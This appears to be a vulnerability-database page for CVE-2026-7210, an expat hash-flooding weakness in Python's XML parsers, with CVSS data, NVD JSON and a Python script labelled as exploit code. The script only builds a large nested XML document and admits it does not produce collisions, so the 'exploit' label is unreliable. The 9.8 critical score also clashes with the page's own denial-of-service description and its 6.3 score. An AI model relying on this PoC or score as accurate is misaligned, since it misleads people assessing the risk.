Security Vulnerability Report
中文
CVE-2026-7210 CVSS 9.8 CRITICAL

CVE-2026-7210

Published: 2026-05-11 18:16:42
Last Modified: 2026-05-16 03:05:17

Description

`xml.parsers.expat` and `xml.etree.ElementTree` use insufficient entropy for Expat hash-flooding protection, which allows a crafted XML document to trigger hash flooding.\r\n\r\nFully mitigating this vulnerability requires both updating libexpat to 2.8.0 or later and applying this patch.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:libexpat_project:libexpat:*:*:*:*:*:*:*:* - VULNERABLE
Python (Versions prior to patch for CVE-2026-7210)
libexpat < 2.8.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import xml.etree.ElementTree as ET import sys # Simulate a crafted XML payload designed to trigger hash collisions # Note: Actual collision generation depends on predicting the weak salt. # This PoC demonstrates the parsing of a complex structure. def generate_malicious_xml(depth, breadth): """ Generates a deeply nested and broad XML structure. In a real exploit, attribute names would be specifically chosen to collide based on the insufficient entropy. """ root = ET.Element("root") current_level = root # Create a wide structure to stress the hash table for i in range(breadth): # Using attribute names that might be candidates for collision attr_name = f"attrib_{i}" current_level.set(attr_name, "value" * 10) # Create depth for i in range(depth): child = ET.SubElement(current_level, f"level_{i}") for j in range(breadth): child.set(f"attr_{j}", "val") current_level = child return ET.tostring(root, encoding='unicode') if __name__ == "__main__": # Adjust these numbers to increase CPU load payload = generate_malicious_xml(depth=100, breadth=500) try: print("Starting parsing of crafted XML...") # Parsing this payload on a vulnerable system may cause high CPU usage ET.fromstring(payload) print("Parsing completed.") except Exception as e: print(f"Error during parsing: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-7210", "sourceIdentifier": "[email protected]", "published": "2026-05-11T18:16:42.413", "lastModified": "2026-05-16T03:05:17.233", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "`xml.parsers.expat` and `xml.etree.ElementTree` use insufficient entropy for Expat hash-flooding protection, which allows a crafted XML document to trigger hash flooding.\\r\\n\\r\\nFully mitigating this vulnerability requires both updating libexpat to 2.8.0 or later and applying this patch."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-331"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:libexpat_project:libexpat:*:*:*:*:*:*:*:*", "versionEndExcluding": "2.8.0", "matchCriteriaId": "481331D3-1E4B-491D-8C4F-E0C800B0A00F"}]}]}], "references": [{"url": "https://github.com/python/cpython/issues/149018", "source": "[email protected]", "tags": ["Issue Tracking"]}, {"url": "https://github.com/python/cpython/pull/149023", "source": "[email protected]", "tags": ["Issue Tracking", "Patch"]}, {"url": "https://mail.python.org/archives/list/[email protected]/thread/PNY5OMBDPM2FRUZTWFFPJ6LISWKV627K/", "source": "[email protected]", "tags": ["Mailing List", "Third Party Advisory"]}, {"url": "http://www.openwall.com/lists/oss-security/2026/05/11/13", "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": ["Mailing List", "Third Party Advisory"]}, {"url": "http://www.openwall.com/lists/oss-security/2026/05/11/8", "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": ["Mailing List", "Third Party Advisory"]}]}}